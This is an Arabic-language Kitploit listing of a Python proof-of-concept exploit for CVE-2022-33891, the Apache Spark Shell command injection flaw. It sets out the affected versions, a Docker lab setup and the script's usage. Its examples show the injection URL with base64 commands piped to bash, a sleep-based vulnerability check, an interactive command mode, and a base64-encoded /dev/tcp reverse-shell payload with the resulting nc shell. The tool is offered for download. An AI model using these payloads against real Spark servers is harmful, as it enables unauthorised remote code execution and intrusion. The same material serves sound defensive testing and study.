Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2022-33891 — إثبات مفهوم بلغة بايثون لثغرة حقن الأوامر في Apache Spark Shell (CVE-2022-33891)، يتضمن اكتشافًا قائمًا على النوم، وتنفيذ أوامر تفاعليًا، وقدرات شل عكسي ضد واجهات Spark الضعيفة. | Kitploit
أدوات/GitHubGitHub/akbartrilaksana/cve-2022-33891
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرة
GitHubakbartrilaksana/cve-2022-33891

cve-2022-33891

إثبات مفهوم بلغة بايثون لثغرة حقن الأوامر في Apache Spark Shell (CVE-2022-33891)، يتضمن اكتشافًا قائمًا على النوم، وتنفيذ أوامر تفاعليًا، وقدرات شل عكسي ضد واجهات Spark الضعيفة.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
عرض المستودع
312منذ 8 أشهرلم تتم المراجعة بعد
مشاركة

CVE-2022-33891

ثغرة حقن الأوامر في شل أباتشي سبارك

نموذج إثبات مفهوم (POC) بلغة بايثون لاستغلال ثغرة حقن الأوامر في شل أباتشي سبارك. رأيت بعض نماذج الإثبات الأخرى لكنها بدت مشبوهة جداً. هذا النموذج نظيف وبسيط.

لم أكتشف هذا الاستغلال/الثغرة. أردت فقط إنشاء نموذج إثبات مفهوم آمن للمجتمع ^.^

الإصدارات المتأثرة

إصدارات أباتشي سبارك 3.0.3 وما قبلها، والإصدارات 3.1.1 إلى 3.1.2، والإصدارات 3.2.0 إلى 3.2.1

المكون الضعيف

root@kitploit:~
http://localhost:8080/?doAs=`[command injection here]`

مثال

root@kitploit:~
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

... ينام لمدة 10 ثوانٍ

الإعداد

تحتاج إلى إصدار ضعيف من سبارك مع تغيير خيار تكوين واحد.

  • قم بتثبيت التبعيات: $ pip3 install -r requirements.txt
  • انتقل إلى دليل spark/.
  • استخدم ملف المقدم في دليل وقم بتشغيل . اترك الحاوية تعمل.
docker-compose.yml
spark/
docker-compose up
  • في محطة طرفية جديدة، أدخل sudo docker exec -it spark_spark_1 /bin/bash
  • في جلسة bash داخل الحاوية، أدخل: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  • اختيارياً، اعرض محتويات spark-defaults.conf للتأكد من أنها صحيحة.
  • اخرج من شل bash التفاعلي واضغط Ctrl-C لإيقاف عملية docker-compose.
  • بمجرد إيقاف الحاويات بأمان، أعد تشغيل docker-compose up
  • الاستخدام

    root@kitploit:~
    usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
    
    CVE-2022-33891 Python POC Exploit Script
    
    optional arguments:
      -h, --help            show this help message and exit
      -u URL, --url URL     URL to exploit.
      -p PORT, --port PORT  Exploit target's port.
      --revshell            Reverse Shell option.
      -lh LISTENINGHOST, --listeninghost LISTENINGHOST
                            Your listening host IP address.
      -lp LISTENINGPORT, --listeningport LISTENINGPORT
                            Your listening host port.
      --check               Checks if the target is exploitable with a sleep test
    

    أمثلة

    تحقق مما إذا كان الهدف ضعيفاً:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
    [*] Attempting to connect to site...
    [*] Performing sleep test of 10 seconds...
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
    [+] Sleep was 10 seconds! This target is probably vulnerable!
    

    إصدار الأوامر في حلقة موجه الأوامر:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
    [*] "Interactive" mode!
    [!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
    > sleep 5
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
    > 
    

    تنفيذ شل عكسية:

    root@kitploit:~
    husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
    [*] Reverse shell mode.
    [*] Set up your listener by entering the following:
     nc -nvlp 1337
    [!] When your listener is set up, press enter!
    [*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
    
    ...[in the other terminal]...
    
    husky@dev-kde:~/spark$ nc -nvlp 1337
    Listening on 0.0.0.0 1337
    Connection received on 172.21.0.2 55278
    sh: 0: can't access tty; job control turned off
    $ whoami
    spark
    

    مزيد من المعلومات

    يحدث حقن الأوامر لأن سبارك يتحقق من عضوية المجموعة للمستخدم الممرر في المعامل ?doAs باستخدام أمر لينكس خام.

    تمرير id كمستخدم ينتج هذا الخطأ في التتبع الخلفي:

    root@kitploit:~
    spark_1  | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1: 
    spark_1  | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
    spark_1  | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
    

    هنا، قررت جافا أنه من الأفضل تمرير أمر id إلى bash -c للتحقق من عضوية المجموعة لمستخدم محدد. المشكلة هي أن هذا يسمح أيضاً بحقن الأوامر.

    الإصدارات المصححة تجعل هذه الاستدعاء معاملاً بمسار كامل لأمر /bin/id بدلاً من bash -c id

    تجدر الإشارة إلى أنه لا يوجد شيء ينعكس على الصفحة أثناء تنفيذ الأمر، لذلك هذا حقن أعمى لنظام التشغيل. أوامرك تنفذ، لكن لن يكون هناك أي مؤشر على نجاحها أو فشلها أو حتى إذا كان البرنامج الذي تشغله موجوداً على الهدف. على سبيل المثال، الحاوية التي يتم تشغيلها باستخدام ملف docker-compose.yml في هذا المستودع لا تحتوي على ping، لذا فإن التحقق من حقن الأوامر عبر pingback لن يعمل. لكنك لن تعرف ذلك، لذا ستبقى تتساءل عما إذا كان الأمر قد نجح أم لا.

    اختبار السكون هو رهان آمن ^.^

    المراجع

    • https://securityonline.info/cve-2022-33891-apache-spark-shell-command-injection-vulnerability/
    • https://nvd.nist.gov/vuln/detail/CVE-2022-33891
    • https://spark.apache.org/docs/2.1.0/configuration.html
    • https://github.com/W01fh4cker/cve-2022-33891 (I do not recommend using this POC)
    تنزيل الأداة